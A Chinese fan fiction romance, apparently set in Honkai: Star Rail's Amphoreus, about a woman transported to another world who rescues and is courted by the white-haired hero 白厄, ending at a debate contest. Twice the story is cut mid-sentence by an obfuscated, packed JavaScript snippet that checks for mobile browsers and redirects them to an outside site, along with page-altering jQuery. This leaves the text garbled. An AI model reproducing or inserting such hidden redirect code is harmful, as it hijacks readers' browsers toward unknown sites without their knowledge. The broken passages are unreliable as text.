《白毛救世主漫漫追妻记》 1. 纯情小白 01. 工作了整整一天没有休息,你疲惫地从元老院的大门走出来,心力交瘁地往家的方向走去。上午元老院与黄金裔的谈判破裂,你作为凯妮斯指定的接班人与黄金裔代表白厄唇舌交战了半天,好不幸苦。 拜托,那可是蝉联了十届辩论赛冠军的男人。 而此刻你见到不远处靠在小摊旁望向元老院方向的白发男人,禁不住眼皮一跳,立刻头也不回地准备抄小道回家,在心中把十二泰坦求了个遍,只希望白厄能没注意到你。 可命运不打算放过你。身后传来一阵急促的脚步声,手腕一紧,男人意味不明的声音在头顶响起:“……你躲我?” “……哎呀,是白厄啊,”你迅速调整好状态假装讶异地看着他:“这是怎么了?还有什么要紧的事吗?不如等到明天工作时间……”周围有民众投来莫名的目光,你又晃晃他抓着你的那只手腕:“有点紧,你要不松开再说?” 白厄垂下眼睛看着你微微笑起来,直接无视了你的话:“你今天一定很累了吧?和我去泡温泉好不好?” 那语气带着亲昵与关心,路人看向你们的目光渐渐暧昧,有人认出了白厄和你。 奇怪,元老院和黄金裔不是立场不同水火不容么?这是怎么回事? 听到周围好奇的耳语,你还是保持着得体的笑,手中暗暗较劲:“……其实还好,我回去休息就行,有什么事我们明天再说。” 可惜对面的白厄完全不在乎周围人的耳语,甚至大庭广众之下低下头来,深蓝的眼眸里蓄满了不知名的情绪,只紧紧看着你。 唇间距离不过分毫,白厄滚烫的呼吸喷到你脸颊,那一处似乎下一秒就要烧起来。 “和我去泡温泉吧。”白厄温和的嗓音里带着不容拒绝的强势,他又笑笑,“如果你不愿意,那我也不介意在众人面前亲你,其实你不想让别人的猜想成真吧?” “……白厄,”你温润的面具终于碎了,咬牙切齿道:“你现在的姿势,已经够引人注目了。” ……… 于是吃瓜的观众们眼睁睁看着他们俊朗高挑的救世主阁下不知朝那年轻的姑娘说了什么,逗得她面若桃花,脸色羞红。随后男人笑着朝他们挥挥手,带着姑娘扬长而去,俊男靓女,当真是般配。 只是这身份……路人们一阵腹诽,快传出去!咱们翁法罗斯的救世主阁下和那个元老院的公务员有一腿啊!! 02. 你和白厄结缘于多年前一个意外,其实真的很像许多恋爱故事中的那样,说出来都会被直呼“一切都是命运安排的邂逅”那种。 像无数话本中那般,你一觉睡醒就来到了异世界,估计还是最倒霉的那个——全身上下最贵的东西只有手机,又或者说是传信石板,更别说你对这世界几乎一无所知,还没有安身之处。 天崩开局。 刚来到奥赫玛的那半年,你接下了许多跑腿和简单的委托,帮忙喂养大地兽、奇美拉,帮忙擦拭餐桌、打扫店铺,只要给钱,你几乎什么都做。为了生存,你咬牙切齿在这异世界跌摸打滚拼命挣利衡币,终于在圣城奥赫租到了人生中第一个房子。 在一个平平无奇的下午,你又接下一份高额委托,看着地图上陌生的地名,你皱起眉犹豫了:哀丽秘榭?那是什么地方?委托人对上你疑惑的神情,搓了搓手表情讪讪:“这个地方说远也不算远,只要你能替我把商业合作的话带给村长,这笔钱就是你的。只不过最近翁法罗斯不算太平......” 你明白了委托人的意思——但富贵险中求,怕什么? 当天你便坐上前往哀丽秘榭的大船。静谧的大海让你想起记忆中的故乡,当你还在船内盘算着未来时,船员们惊恐的声音此起彼伏。你心中一跳,立刻掀开帘子朝外望去,大脑当场宕机—— 不远处的地面宛如人间炼狱,冲天的火焰吞噬着金黄的稻田,残缺的村落矮房经过烈火的灼烧,露出焦黑的残躯,天空中弥漫着黑烟与浓烈的焦味,眼前的一切无不提醒你这里发生了怎样的灾难。船员们当机立断掉头便要离开,你紧盯着不远处的地狱,忽然焦急地大喊:“停!停!先靠岸!那里还有人!” 你不顾船员们的反对,一个纵身便跃进水中,朝着不远处的岸上拼命游去。岸边躺着的是一个浑身是伤的白发少年,你跪坐在地将他翻过身来,检查他的瞳孔,趴在他的胸膛侧耳仔细聆听——还有心跳!这个人是活的!你惊喜的笑起来,冲赶来的船员们大喊:“这个人还活着!快!快把他带走!” 船员们七嘴八舌小心翼翼地将昏迷的少年抬走,你略过他,再一次将目光投向火海,不知还能不能找到幸存的人......还没反应过来,一个离你近的船员大哥直接抓住了你,强行把你带上了船,一行人急匆匆地离开这个不幸的村庄。 回奥赫玛的路上,少年一直昏迷不醒。你找来干净的毛巾和纱布,仔细擦拭他沾满灰尘的脸,为他流出金黄色血液的伤口包扎。灰尘与汗水擦去,露出少年一张过分好看的脸,柔软的白色发丝乖巧地贴在他的脸颊,可就算在昏迷中,他的脸上也露出了难掩的脆弱和憔悴。家乡的毁灭,一定给他带来了无法想象的沉痛打击...... 少年的脸色变得很差,眉头紧紧皱起,似乎陷入了梦魇,紧紧抓住了你要撤回的手。你叹了口气,任由他抓着,内心泛起一阵不知名的情绪,也说不清那究竟是同情更多,还是同病相怜更多。 就这样,你们的命运,就此相连。 03. 你的高额委托变成了永远不能完成的废案,还顺手捡回来了一名受伤的少年,委托人沉默很久,最后还是眼眶泛红将说好的利衡币交给了你,拍拍你的肩,自言自语道:“......哀丽秘榭的鱼,很好吃。” 起初,你打算将少年送到医院后便离开,可不知出于什么心理,你犹豫了很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566200|186989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久,最后还是鬼使神差留了下来,替他付完所有的医药费——当然,做完这些,你几乎要破产了。 医生说他身上受了许多伤,其中好几道伤在内脏,像是不要命地战斗了许久,需要好好休息。你听后沉默了许久,点点头表示知道了。你以为捡回来的少年需要好长一段时间才能醒来,可没想到没过两天,他就睁着犹如蓝宝石的眼睛看向你,却一句话不说。 少年什么都没有问,他那双空洞毫无高光的眼睛似乎失去了生气。你告诉他,你是从岸边捡到了还活着的他,并把他带回了奥赫玛。 少年嗫嚅了一句,最后还是沙哑着嗓子开了口:“……谢谢。” “对于你家乡的事,我也很难过。”你顿了顿,“但我发现了还活着的你,这就是天意。别放弃,既然老天让你活了下来,那一定有更重要的事等着你去做。” 少年安安静静的望着天花板,过了很久,他歪过头,你看不到他的正脸,却听到他再一次道谢。 ………… 哀丽秘榭的白厄。 他这么向你介绍自己,很郑重。出院那天,他再次向你表达感谢,并提出就此离开的想法。你点点头,看着他带着稚气的脸,“那么来自哀丽秘榭的白厄阁下,请问你在奥赫玛有属于自己的住所吗?” 白厄伪装的镇定一下子被击碎,他垂下眼,小声道:“没有……可是我可以……” 他没了下文,你又问:“在没有安身之处的前提下,请问你做好了在奥赫玛生存下去的准备了吗?” “我……” 你不轻不重扔下最后一枚炸弹:“请问你想好了要怎么偿还我为你垫付的医药费了吗?” 少年站在原地涨红了脸,但他还是努力让自己的声音听起来镇定:“我会尽早全部偿还……但现在,还请你多给我一点时间……” 少年的窘迫与不堪让他想要回避你的眼睛。可你只是揉了揉他的脑袋,笑了。 “逗你玩的。” “……哎?” “如果你暂时找不到可以住的地方,”你稍稍低头认真地看着他,“我可以帮你安排一处住所,愿意来么?” 少年宝石蓝的眼睛一眨不眨地看着你,想要找到一些蛛丝马迹。可除了关切和些许怜爱,他什么都没有发现。 白厄喉头一梗,挠了挠头,挤出了一个苦笑。你截住了他要说出口的话,同样郑重地说:“不用怕我会觉得麻烦,只是一小段的时间而已。我既然把你带了回来,就没有坐视不理的道理,放心,我会对你负责。” 你的声音很柔和,带着扑面而来的善意和温暖将他包裹起来,这让白厄想起了温和的母亲。 “哈哈,”少年白厄哽咽道,“……谢谢。” 曾经自己所爱的一切毁于一旦,复仇的火焰在他心中高涨。那时你出于人道主义的一次善举,就像出现在他灰暗内心的一束光,忽然照亮了他内心的一角。 2. 纯情小白 04. 狭小而普通的出租屋,却五脏俱全,井井有条。初来乍到的白厄很拘谨、不自在,他很懂事的尽量降低自己的存在感,将你的好意铭记于心;白天的你出门接委托继续挣利衡币,白厄出门学剑,你们的一天时间都被安排的满满当当,根本没有多余的时间交流。 关系虽还没到无话不谈的程度,可你在和他日常说起明日的安排时明白一点:白厄与你,某种程度上来说是同一类人——都在为一个目标努力着。 你们的关系平淡如水,互不干涉,直到有一天你在做一份很危险的高额委托时,不慎将委托人要寄走的易碎品摔得稀碎,那一天的努力全部白费,所有的报酬尽数赔偿。 你狼狈不堪地回到家中,却见桌子上摆放着香喷喷的炒菜,白厄端着一碗热腾腾的汤从厨房走出来告诉你,这些菜是他今日顺手帮一位老人家送信的报酬,他顺手就做成了菜,希望和你的口味。话还没说完,你的眼泪便大颗大颗滚下来,怎么都止不住,白厄担心地看着你,你却摆摆手示意没事,毫无形象大口大口地吃着眼前热腾腾的饭菜,眼泪掉进碗里,怎么都止不住。 白厄看着你泛红的眼睛,你大颗的眼泪好像砸在了他心上。他递了纸给你,声音很轻,带着担忧:“发生什么事了?可以告诉我吗?我想替你分担。” 你摇头,睁着红通通的眼睛冲他难过地笑:“不好意思……” 毫无预兆来到这个世界那么久,父母或许也早已默认了你的离去,在这个举目无亲的世界,忽然又一次尝到家的味道,你有些绷不住。 你只是,只是太久没有尝到别人为你做的饭菜了。 “……有一点想家人了。” “……抱歉,”白厄深蓝色的眼里浮起愧疚和心疼,“我也大概能理解你的感受……” 你看着他俊秀的、带着怜惜的脸庞,在这一刻忽然福至心灵。一个举目无亲,一个失去所有亲朋好友,你要在这翁法罗斯站稳脚跟,白厄要将自己磨砺成锋利的剑为故乡复仇,你们都是为了目标不断前进的人。 ……可孤身前进埋头赶路的人,总是希望能看到和自己相似的人。 那天你与白厄推心置腹,交谈许久。从各自的故乡,到对未来的展望,他也对你说起学剑的苦恼和对元老院将他安排进兵营的不解,颇为疲惫。 “……一群没眼光的,”你忍不住吐槽,紧接着拍拍他的肩膀以表安慰:“放心,是金子总会发光。没发现你的才华是他们不识货。” 白厄不好意思地冲你笑:“是这样吗?原来我在你眼中是这样的……那你呢?你觉得自己是什么样的?” “我呀……我是明珠蒙尘……”你大笑着说。 白厄笑眯眯地与你对视,都从对方毫不掩饰的目光中,读出了纯粹的欣赏与认同。那份心照不宣的惺惺相惜如同抹了蜜一般甜美的让人上瘾,让他情不自禁的想要一直守着这份难得的感情,不被任何人破坏。 05. 如果说你什么时候意识到白厄对你纯粹的欣赏开始变质……思来想去才发现很多事你都是后知后觉。 在奥赫玛高强度接委托的日子不知不觉又过去了几个月,你的手中终于小有积蓄,不需要再面对严峻的生存问题,在翁法罗斯站稳脚跟的目标也算有了经济的支撑。白厄也不出意外,在新兵营中锋芒毕露,大放异彩,被赫赫有名的金织女士邀请加入逐火的旅程。望着他温和的笑容,你的内心也涌上欣慰,白厄是一块金子,这块金子,终于也被除你以外的他人发现了。 彼时你报考了翁法罗斯元老院的行政助理职位,白厄也找好了新的住所。他收拾好了自己的小包裹从你家离开的那天,你做了一桌好菜为他送行。白厄笑了很久,毛绒绒的萨摩耶一边不客气地往嘴里夹菜一边笑眯眯地说:“我的新家离你很近,如果有空还是可以过来蹭饭的吧?可以的吧?” 白厄生的好看,微微撒娇就会让你有些受不住。你心软的全部应下:“嗯嗯,当然。翁法罗斯未来的大英雄找我们民众要什么,我拼尽全力都得给你弄来。” 听了这话的他忽然默不作声,你疑惑地看向他,才发现白厄的耳廓红的像是在滴血。他的眼神飘忽,没有看你,可惜当时的你丝毫没有意识到什么不对劲,还指着他的耳朵调侃:“怎么还不好意思起来了,放心,只要不是我打拼存下来的利衡币,你需要什么尽管告诉我,我会帮你。” 这下白厄整张脸都红透了,他靠在椅子上用胳膊遮住了自己的眼睛,瓮声瓮气地嗓音带着些委屈:“你,你真是……你以后最好记得你说过的话。” 分别时,白厄站在门口,向你讨要一个拥抱。你张开双臂十分欣慰地抱住他,正想说些“好好照顾自己”的真心话,却忽然觉得有些不对劲。已经长高了的白厄将你整个人嵌入怀里,你们的身体紧紧贴在一起,恍惚间还能听见他剧烈的心跳,你那根退化已久名为“男女界限”的神经忽然跳动了一下,终于意识到这个拥抱过分亲密。 他的脑袋搁在你的肩膀上,侧过头来说了一句谢谢,清澈的嗓音透过你的耳朵,温热的鼻息喷在脖子上,微微有些痒。嘴唇似有若无地擦过你的耳朵,你浑身一软,慌忙推开了他。 阳光斜斜掠过他的肩膀,你才惊觉那个曾经从哀丽秘榭带回来需要微微抬头与你平视的少年,如今垂下眼睑看你的眼神,已经带着几分陌生而温柔的压迫感。你一惊,只那一瞬,他的眼里的压迫感荡然无存,取而代之的是几分小心翼翼:“抱歉抱歉,是我没控制住力气……” 白厄很快转移了话题,告诉你就算备考也要注意身体,有什么需要帮助的还可以找他,他的新家离你很近……你嗯嗯啊啊心不在焉全部应下,终于在送走了他之后捂住脸颊,整个人陷入了短暂的混乱。 不想不知道一想吓一跳,平日里你与白厄相处的点点滴滴在脑海里浮现。不知道从什么起,白厄与你共处一室的时间越来越长,而且你还能感受到他总是在默默地观察你,不知在思考些什么,你曾经困惑地问过,却被当事人轻描淡写转移了话题,就像今天一样……你也没有在意,因为当时的你正盘算着怎么样利益最大化做好委托,很快将这点事抛之脑后;还有一次,你思考着未来与当下的处境和利衡币的支出,支撑不住在沙发上沉沉睡去,迷迷糊糊间有人给你盖了层被子,还碰了碰你的脸颊。你的脑子早就被工作与金钱占满,根本没有注意到这些细枝末节,现在想来,这一切加上今天发生的事似乎都模模糊糊有了一个解释。 你双手抱着头很是苦恼——平心而论白厄真的是个各个方面都很好的男性,可他,他比你小几岁!他可是你出于怜爱捡回来的少年啊!!你想起故乡的未成年保护法,一阵头痛,不行,不可以老牛吃嫩草…… 06. 自那以后,白厄敏锐的发现你与他的见面次数直线下降,屈指可数。他不知道是不是自己做错了什么事惹你讨厌,总有些忐忑。一开始,他在传信石板上尝试着与你交谈,可你回应的十分敷衍,心不在焉,完全做不到秒回信息。 青年握着传信石板在心里安慰自己,他知道你很忙,因为你曾经和他说过,你要报考元老院的行政助理岗,备考会很紧张,需要大量的时间沉浸在题海里。他还记得你说起这话是眸子里透出的自信和果敢,是对未知的跃跃欲试,仿佛天塌下来也不会阻止你的前进,你明亮的眼睛让他失神,心跳加速,仿佛有什么感情要从心中溢出。 一想起你翘着嘴角自信的模样,白厄的心就痒的像是有小手在挠。他的新家就在离你家百米远的地方,只需要多走两步,就能看到他熟悉的屋子。走到门前手臂抬起,可最后还是克制地没有敲门,白厄的内心天人交战,他不知道这样的决定对你而言是不是一种打扰,在新兵营勇往直前从不退缩的战士,此刻居然踌躇不定,不敢再向前。 “你喜欢她。” 万敌听完好友的话,直截了当的说。 白厄怔愣了许久,恍然大悟。是啊,原来是这样,他喜欢你,你这么好的人,他怎么可能不会爱上。或许是从他醒来见到你的第一眼,又或许是曾经某次在橙黄的灯光下见到你的 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日子一天一天像复制粘贴那样过去,你对考试也从生疏到得心应手。出考场那天,奥赫玛的天空格外的蓝,一眼望去,万里无云,负世泰坦刻法勒的神躯依然悲悯地低垂俯视众生。白发蓝眸的青年将一束盛开的向日葵举到你身前,笑容如太阳般耀眼。 “给,”白厄笑着说,“祝你一举夺魁。” 你的心在那一刻漏跳了一拍。 他没有问你考的如何,而事实也像他想的那样——出分那天,你的分数一骑绝尘排在榜首,以甩开了第二名十几分的差距被成功录用。面对这样的结果,你只是笑的很平常,明亮的眼里散发着自信的光,让白厄的心跳又开始不正常的加速。那天,白厄请你吃了你惦念许久的那家餐厅饭菜,走出餐厅时,他一把拉住你的手腕,低头询问你:“想不想一起去放松一下?” 你失笑:“怎么放松?泡温泉吗?” 青年的蓝眸像是水洗过那般透亮:“不是,只要你说想,我就能带你去。” 他看起来比你还要跃跃欲试,你饶有兴趣地看着他,点点头:“好,咱们走吧。” 白厄忽然凑近你,低着嗓子发出一声笑:“……那冒犯了。”你还没反应过来整个人便腾空而起,一声惊呼,下意识环住了他的脖子——青年抄住你的膝弯,不顾众人暧昧的目光将你抱了起来,几步纵身一跃,便轻巧地调到屋顶,带着你在高处奔走。 贴着白厄的胸膛,你听到他的心脏正在有力地跳动。高处的风温柔地抚过你们的脸颊,整个世界都是自由的气息。 你们来到了一处悬崖。这里是离负世泰坦刻法勒神躯最近的地方,一低头便能看到奥赫玛的芸芸众生。白厄放下来你,侧过头看你,眼里的温柔有如实质。 “……恭喜你,得偿所愿,”他说,“我真的为你感到高兴。比我自己做成了一件事还要高兴。” 你笑着看他,没说话。青年在你的注视下,脸又渐渐红了,却还是镇定地说:“过几天我就要离开奥赫玛,去神悟树庭继续求学四年。过段时间,你也要进入元老院工作,或许我们见面的次数会越来越少,但只要得空,我会来找你的。” 你点点头,望向眼前巨大的雕像,“那很好啊,这说明我们的生活已经步入正轨了,我们都有光明的未来。” “……那你,别忘了我,好么?” 你看向白厄。青年低垂的眼里带着一点泪光,语气祈求,看起来可怜极了,你根本拒绝不了他这样的表情。 “不会的,”你说。 白厄看起来很高兴,很高兴,他秉持着内心的想法,朝你张开了双臂,期待地看着你:“……可以给我一个拥抱吗?” 你毫不犹豫投入他的怀里。白厄将你紧紧抱住,发出了一声满足的喟叹,搭在你腰间的手逐渐收紧,耳边是他克制的、颤抖的呼吸,这是一个夹杂着一丝爱欲的拥抱,你同样能感受到那股浓烈的不舍。 没有人再说话,也无需言语,刻法勒的神躯已然见证了此刻。 3. 纯情小白 07. 没有告白,没有拥吻,他看你的眼神早已说明了一切。 分开后,你不自然地别过眼去,白厄低声说:“其实,你能感受到我对你的感情,对吧?” 他低头小心翼翼看你的模样让人心软,你忽然又想起与白厄初相识时他稚嫩的脸,不知不觉中那个少年已然成长为即将褪去青涩的青年,时间怎么能悄然改变那么多呢? “……谢谢你,白厄。”你的心里忽然变得沉甸甸的,没办法直视身边的青年,“虽然我真的很想劝说你可能是把对我的依赖错认成了别的感情,但说这些似乎也没什么用。我只能明确的告诉你,男女关系并不在我目前的人生规划中,或许以后也不会有。” 话音落下,无人回应,你抬眼看向他,白厄的神情十分委屈,却还是强撑着笑了笑:“……我知道,在奥赫玛不断拼搏、不顾一切为自己挣出一片前途的你才是我认识的你。你可能暂时有些无法接受,但没关系,我会一直等到你需要我并且全然接受的那天。” 你沉默。一来,你一时间实在没办法将白厄和自己与男女关系挂钩;二来,在还未清晰的未来上,你做不到给白厄一个明确的承诺,哎,做人真难啊。 可他的声音听起来好像要哭了,你心软的一塌糊涂,终于放弃了什么似的说:“你说的没错。石头能落地,是因为石头有分量。我不可能在奥赫玛当一辈子的跑腿小贩,也不需要靠嫁人倚靠他人活一生,我们各自的人生才刚刚开始,在前进的路上,一定……不能分心。” ………… 后来发生了什么你已经不太记得。在你们分别后没有几天,白厄便启程前往神悟树庭求学,而你也如期抵达元老院,开始了枯燥乏味的助理生活。元老院里像你这般年轻的人几乎没有,他们对你的态度也不算和蔼,你像无数打工人那样处理着不愿做的冗杂小事,领取不算丰厚的薪水。 人这一生都不能放弃学习新事物,否则他的人生只会千篇一律,止足不前。你很快领悟到这点,便扩大了学习的范围。在公文的处理上,你学习元老院中名为阿斯忒里斯的领导,常常向他讨教相关的知识。这位温和的领导肉眼可见的很喜欢你,而你则在知识带来的痛苦与喜悦中不断沉浮,以至于忽略了飞速前进的时间。 白天处理公务、试图接触并消化理解涉及奥赫玛更多领域的决策,晚上也不忘对着镜子练习口语和面部表情,为了更完美的未来,你必须要把自己打磨成一颗圆润、亮眼的明珠。 你的工作不再只是坐在办公桌前处理冗杂的公务,渐渐的,元老院的领导人凯妮斯长老会派遣你与翁法罗斯各个领域的公务人员对接,共同处理相关事件。先是对接奥赫玛负责水电的部门负责人,后来渐渐扩散到各个领域,见到不同的负责人,而每一次,你都能将事情处理的非常完美。 “来自元老院的新起之秀”,所有与你共事过的负责人都这么称呼你。你只是公式化的一笑,接着投入到下一份工作中。如你所愿,你接触到的人和事、去过的地方与人生阅历与日俱增,你这颗来自异世界的石子,在翁法罗斯终于有了属于自己的分量。 只是偶尔,你也会看着传信石板上日期停留在许久之前的聊天框微微出神。自从工作落实,你与白厄的联系逐渐减少,上一次的聊天,是他告知自己得了辩论赛冠军的消息,你那时只有一句公式化的“恭喜恭喜”,便再没有了下文。 有时你也会扪心自问,是不是对关心自己的人少了太多关注?是不是太过沉溺于自己的世界,太久没有认真与白厄好好相处?可你捏着传信石板已经不知道该给他发什么消息,扑面而来的工作也没有给你太多属于自己的时间。你收起这些心思,明白这些都是凯妮斯长老给你的考验。 ……毕竟没有背景,没有家庭的又能干的年轻女性,是最容易拿捏的对象不是么? 08. 严肃的中年女性坐在办公长桌前,神情淡淡。凯妮斯点了点桌子,示意你不必拘礼坐下即可。她念了一遍你的名字,说:“‘来自元老院的新起之秀’……”她意味不明地哼笑一身,“确实很适合你。自你来到元老院已经过去了很长一段时间,你的能力众人也有目共睹。” 你笑笑:“凯妮斯长老过奖了。我只是个新人,在处理事情和与人对接这方面难免会毛毛躁躁,是您的指点让我少走了很多弯路。” “不用客套。”女人似笑非笑的眼睛里带着探究和深意,她开门见山:“你待人接物处理工作都堪称标准模版。我只想问你一句,愿不愿意跟着我继续做事?” 你抬头望着面前的凯妮斯。这个拥有元老院最高权利的女人,她的眼角已带上岁月的痕迹,不怒自威,双眼紧紧盯着你,能将你所有的反应收入眼底…… 紧接着,她的神情似乎略有惊讶,可又很快恢复了平静。 因为你看着她的双眼,毫不犹豫给出了答案:“愿意。” 凯妮斯缓慢踱步到你身前,“该有的,我以后都会给你。你不会的,我也会传授与你。权力、财富、名声……” 你垂下眼睛,没有让她看见你眼底的情绪,深深行了一礼。 “老师。” 凯妮斯的考验,终于结束了。 09. 再次与白厄相见是个意外。 神悟树庭的教授们经常会写推荐信给元老院介绍自己的得意门生,而学生品质究竟如何需有人亲自考查,至于为什么元老院的年轻人寥寥无几,也是因为考查十分严格。 树庭早已派人等候你的到来。你刚到便伸出手去与对接的负责人握手,露出职业化笑容,寒暄几句便进入了树庭。 白厄就是在这里学习么?说起来,你倒是忘记了在传信石板上告诉白厄,或许你们可以短暂的见上一面……正观察四周思索的你被唾沫横飞的负责人打断了思路,无非还是一些客套话以及学院的学生多么多么优秀,你微笑着离他稍微远了一些,转移了话题:“今天是有什么活动?学生们怎么都急急忙忙往一个方向涌?” “哦,说起来还没向你介绍,由树庭举办一年一度的辩论大赛正是今天开始呢,要是有兴趣,可以一起过去看看学生们的风采。”负责人笑着客套。 你想起某个人曾经和你说他得过辩论大赛的冠军,忽然道:“那就过去看看吧。” 负责人微笑:“……?” 年轻的学生们挤做一团,有对着台上热火朝天的辩论选手大喊加油的,有举起传信石板拍照的,有打赌谁能赢的,有安慰没有晋级正在掉眼泪的女生的……氛围极其火热,现场简直快要乱成了一锅粥,你还听到那名没有晋级成功的女生抽抽噎噎的声音:“奖金……那可是一万利衡币啊!” 你忽然笑起来。 他能在这么青春洋溢的地方学习并渡过一段时光,你替他高兴。 正想着离开,忽然,一道身影把你钉在了原地。 闹哄哄的现场在白发青年登场后气氛更加热烈,女生们尖叫的声音简直要突破天际:“白厄学长——白厄学长!轮到白厄学长上台了!” “快看,是白厄!他也来参加这次辩论赛了!” “你知道吗!他已经蝉联六次辩论赛冠军了!要完,碰上白厄,我的室友是真的没机会了。” …… 你站在人群最外层,仰着头看向被亮光照耀、人群拥围的白厄。聚光灯如雪一般倾泻而下,勾勒出青年修长的剪影。雪白的发丝微微遮住那双如深蓝宝珠的双眼,他微微一笑,简直要把台下的迷妹们迷的神魂颠倒。 白厄的实力确实恐怖如斯。立论、质询,定义权争夺到完成逻辑闭环构建,白厄的话术无不完美。对于对手的偷换概念与极端案例示范时,他的反驳话术堪称模版。 他站在台上,始终保持微笑,话语却犀利的吓人,对手言辞逐渐激动还要被他微笑着提醒一句“请回到执行层面讨论”,你站在台下,默默为对方竖起小白旗,心里涌上难以克制的骄傲。白厄是一块金子,无论在哪一处,他都能做到吸引所有人的目光。 你抱着胳膊看了很久。白厄一路过五关斩六将,毫无悬念的在众多选手中脱颖而出,直接杀进了决赛圈,望着他明亮的双眼和从容的笑,你勾起嘴角,一眨不眨地盯着他。 “这个辩论赛,确实很有意思。” “是啊,学生们都各有风采。”负责人点点头。 “这只有树庭的学生们可以参加么?”你饶有兴趣地问。 “当然不是,只要报了名,都可以参加辩论赛。”负责人说,他忽然看向你,敏锐的嗅觉让他察觉出一丝不对劲,试探道:“如果你有兴趣,我可以和后台说一声,你可以直接参与这次比赛。” “一万利衡币呢……”你喃喃道,意味深长地看向了负责人。 他朝你比了个OK。 10. 决赛开始。 对这次辩论大赛的冠军,白厄胜券在握。与最后一名对手完成辩论,裁判的声音响起,宣布了他的胜利,整个辩论赛现场的气氛无比热烈,到处都是迷妹迷弟的大喊,白厄深深行了个礼,台下观众们掌声雷动。 但就在此时,变故突生——主持人激动地大喊:“请各位稍等!今天,我们的辩论赛现场来了一位来自元老院的特殊嘉宾!她将作为最后一名选手,参与这次比赛!” 此话一出,台下观众纷纷猜测,也有选手大为不满:“什么啊!我们经历了那么多场比赛,这个人就因为是元老院的就可以直接参与决赛嘛?!” “不公平!不公平!”他气愤地大喊。 也有机灵的选手一把捂住了他的嘴:“你动动脑子!能直接进决赛,还是元老院的人,这能是什么简单的小角色吗?小心别得罪了人!” 白厄失笑,他胜券在握,不介意多来一位对手。而在看清了从台下走上前来的人后,他的心忽然重重跳起来。 来的人正是你。 灯光在你的脚下汇聚成一道明亮的路,你的眼里熠熠生辉,笑了笑,伸出手在他面前晃了晃:“嗨?回神了,白厄。” 白厄整个人的状态开始不对劲,他方才游刃有余的表情忽然卡了壳,说话都开始磕磕巴巴:“你……你也来参加辩论大赛?原来你就是那位特殊嘉宾……不对,不对,好久不见……”他下意识握住了你的手,白皙的脖子泛起红色。 台下的观众不明所以,望着你们交握的手窃窃私语。你用力摇了摇,面前的青年终于回了神,他咳凑一声放开,朝你笑:“太久没见你,实在是失态了。那我们开始吧?” “听说你蝉联了六届辩论大赛的冠军,不知道还能不能蝉联七届?”你微微笑。 “我势在必得。不过对手是你,我得打起十二分的精神来。” 裁判公布了最后决赛的辩题:是否能以成败论英雄,你是正反,而白厄则是反方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566202|186989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说实话,这个辩题范围太大,虽然对于白厄来说,反方立场更利于辩论,他扬起眉看向你,用口型再次说出那几个字:我势在必得。 双方的准备时间不长。裁判一声令下,你站起身叙述自己的观点,口若悬河、引经据典,从翁法罗斯历史上杰出的英雄和泰坦说到现如今奥赫玛还活着的诸位半神,抢先一步定义了“英雄”的概念,言辞之细腻,让台下观众皆是屏气凝神细细琢磨;白厄紧跟其后,反驳了你的相关辩词,致力于从你的话中挑出细微的逻辑错误与漏洞,问了你几个尖锐的问题,试图打你个措手不及,紧接着不急不慢叙述了自己的论点,做完这一切,他的时间刚刚好。 台下观众直呼精彩,爆发出一阵又一阵掌声。 “说真的,听的我都要长脑子了,他俩谁先说话我就站在谁那边。” “这就是大佬么?白厄学长也是遇到对手了。” “我还是压白厄……这个辩题,正方不太好赢啊。” 台上,你与白厄看着对方明亮又不服输的双眼,皆是暗暗在心中赞叹:真是个厉害的辩论选手!他滔滔不绝,你妙语连珠;他作为攻辩手攻势不断,你则巧妙的化解了所有的攻势,与他一直争夺着主动权。 然而,在最后的时间里,白厄还是掌握了主动权,对你的辩题一击爆破,毫无悬念的拿下了比赛。台下掌声雷动,尖叫声不断,也有对你的支持和赞赏。你笑着鼓掌,满是衷心的快乐与骄傲:“恭喜你,成功蝉联七届辩论赛冠军!” 白厄朝观众鞠了一躬,转而兴冲冲地看向你要说些什么。主持人上台挡住了他的视线,拿着话筒大声宣布:“让我们再次用最热烈的掌声——恭喜白厄成为冠军!” ……台下的迷妹迷弟们手都要拍烂了。 你冲有些着急的白厄眨眨眼下了台,在观众席上看着热情的学妹给他送花,看着他低下头露出洁白的脖子乖乖将奖牌挂着,看着他拿出一把吉他冲你所在的位置轻轻一笑……等等,吉他? “很高兴获得了这次比赛的冠军。”白厄冲观众们露出温暖的笑,用手拨弄了一下吉他,“我实在是没什么辩论技巧能技巧教给大家,就献个丑,弹首歌给各位听吧。” ……迷妹迷弟的嗓子都要喊哑了。 聚光灯下,白厄垂下眸子,用他清澈的嗓音轻轻弹唱。 All I know is(ooh ooh ooh) 我的世界里只有你 We could go anywhere we could do 我们可以去往世界各地我们可以 Anything girl whatever the mood we''re in 随心所欲女孩我们可以沉浸在任何情绪里 All I know is(ooh ooh ooh) 我的眼中唯独容得下你 Getting lost late at night under stars 繁星之下深夜失迷 Finding love standing right where we are your lips 找寻着正伫立于身边的爱意你的双唇 They pull me in the moment 在当下将我深深吸引 You and I alone and 你我二人茕茕子立 People may be watching I don''t mind''cause 众人或许会注视而我并不介意毕竟 Anywhere with you feels right 无论与你身处何地都会感觉无比惬意 Anywhere with you feels like 无论与你前往何地都感觉像是 Okhema in the rain 身处雨中奥赫玛 Okhemain the rain 漫步在雨中奥赫玛 We don''t need a fancy town 无需身处繁华城邑 Or bottles that we can''t pronounce 